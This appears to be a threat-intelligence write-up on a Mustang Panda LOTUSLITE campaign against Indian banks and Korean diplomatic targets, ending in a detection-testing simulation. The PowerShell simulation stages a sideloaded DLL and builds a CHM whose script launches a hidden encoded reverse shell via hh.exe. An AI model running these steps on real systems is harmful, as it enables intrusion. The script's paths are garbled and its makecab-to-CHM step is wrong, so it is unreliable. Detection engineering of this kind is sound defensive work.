Same packet, different magic: Mustang Panda hits India’s banking sector and Korea geopolitics

Summary

The Acronis Threat Research Unit uncovered a new LOTUSLITE backdoor variant targeting organizations in India’s banking sector and individuals connected to South Korean diplomatic affairs. The malware is deployed through DLL sideloading, relying on a legitimate Microsoft-signed executable to load a malicious library, then communicating with a dynamic DNS-based command-and-control server over HTTPS. Based on infrastructure patterns and tradecraft overlaps, researchers attributed the activity to Mustang Panda with moderate confidence.

Investigation

Analysts examined a malicious CHM file, a JavaScript-based loader, and a signed Microsoft_DNX.exe binary that sideloaded a DLL carrying the LOTUSLITE payload. Their analysis revealed updates in exported functions, mutex naming conventions, command-line switches, packet magic values, and API resolution methods. The team also linked the operation to earlier Mustang Panda campaigns through reused Dynu-managed domains and associated IP infrastructure.

Mitigation

Defenders should prevent unauthorized DLL loading into trusted Microsoft-signed executables, monitor for the identified mutex patterns and modified command-line arguments, and apply strict controls around dynamic DNS traffic. Security teams should also detect the distinctive packet magic value 0xB2EBCFDF and watch for suspicious HKCU Run key modifications that may indicate persistence.

Response

If this activity is detected, isolate the impacted system immediately, terminate the malicious process, and remove both the sideloaded DLL and the abused executable from disk. Memory should be captured for forensic analysis, exposed credentials should be revoked, and the identified command-and-control domains and IP address should be blocked. A broader hunt should also be performed across the environment for the mutex and registry-based persistence artifacts tied to the campaign.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:

  1. Stage malicious DLL:

     • The attacker copies a malicious DLL (lotuslite.dll) into the same directory as the legitimate Microsoft_DNX.exe. This DLL contains the backdoor payload.

  2. Execute DLL sideloading via Microsoft_DNX.exe:

     • By launching Microsoft_DNX.exe without arguments, Windows loads the malicious DLL first (due to the “search order” hijack), executing the backdoor.

  3. Create malicious CHM:

     • A CHM file (evil.chm) is crafted containing JavaScript that, when rendered, launches a PowerShell reverse shell.

  4. Trigger JavaScript via hh.exe:

     • The attacker runs hh.exe evil.chm, causing the HTML Help executable to parse the CHM and execute the embedded script, achieving code execution under a signed binary.

  This sequence generates two distinct Sysmon Process Create events that match the detection rule’s conditions.

• Regression Test Script:

  # -------------------------------------------------------------------------
  # LotusLite Simulation – DLL sideloading + hh.exe CHM execution
  # -------------------------------------------------------------------------
  # Prerequisites:
  #   - Sysmon installed and forwarding logs.
  #   - Administrator privileges (required for writing to Program Files).
  
  $dnxPath = "$env:ProgramFilesMicrosoftMicrosoft_DNX.exe"
  $dnxDir  = Split-Path $dnxPath -Parent
  
  # 1. Deploy malicious DLL (simulated payload)
  $malDllSource = "C:Templotuslite.dll"      # <-- replace with real payload path
  $malDllDest   = Join-Path $dnxDir "lotuslite.dll"
  Copy-Item -Path $malDllSource -Destination $malDllDest -Force
  
  # 2. Launch Microsoft_DNX.exe to trigger DLL sideloading
  Write-Host "[*] Launching Microsoft_DNX.exe for DLL sideloading..."
  Start-Process -FilePath $dnxPath -WindowStyle Hidden
  
  # 3. Create malicious CHM containing JavaScript (simplified example)
  $chmPath = "C:Tempevil.chm"
  $htmlContent = @"
  <HTML><HEAD>
  <SCRIPT language=`"JScript`">
  var shell = new ActiveXObject("WScript.Shell");
  shell.Run("powershell -nop -w hidden -EncodedCommand <base64-rev-shell>", 0);
  </SCRIPT>
  </HEAD><BODY></BODY></HTML>
  "@
  
  $tempHtml = "C:Tempevil.html"
  $htmlContent | Out-File -FilePath $tempHtml -Encoding ASCII
  
  # Use makecab to wrap the HTML into a CHM (requires Windows SDK tools)
  $makeCab = "$env:WINDIRsystem32makecab.exe"
  & $makeCab /D "CompressionType=MSZIP" $tempHtml $chmPath
  
  # 4. Execute the CHM via hh.exe
  Write-Host "[*] Launching hh.exe on malicious CHM..."
  Start-Process -FilePath "$env:SystemRootSystem32hh.exe" -ArgumentList $chmPath -WindowStyle Hidden
  
  # Cleanup temporary files (retain malicious DLL for post‑run analysis)
  Remove-Item $tempHtml -Force
  Write-Host "[*] Simulation complete."

• Cleanup Commands:

  # -------------------------------------------------------------------------
  # Cleanup for LotusLite Simulation
  # -------------------------------------------------------------------------
  $dnxPath = "$env:ProgramFilesMicrosoftMicrosoft_DNX.exe"
  $dnxDir  = Split-Path $dnxPath -Parent
  $malDllDest = Join-Path $dnxDir "lotuslite.dll"
  $chmPath = "C:Tempevil.chm"
  
  # Remove malicious DLL
  if (Test-Path $malDllDest) {
      Remove-Item $malDllDest -Force
      Write-Host "[*] Removed malicious DLL."
  }
  
  # Remove CHM
  if (Test-Path $chmPath) {
      Remove-Item $chmPath -Force
      Write-Host "[*] Removed malicious CHM."
  }
  
  # Optionally terminate lingering processes (if any)
  Get-Process -Name "Microsoft_DNX","hh" -ErrorAction SilentlyContinue | Stop-Process -Force
  Write-Host "[*] Cleanup finished."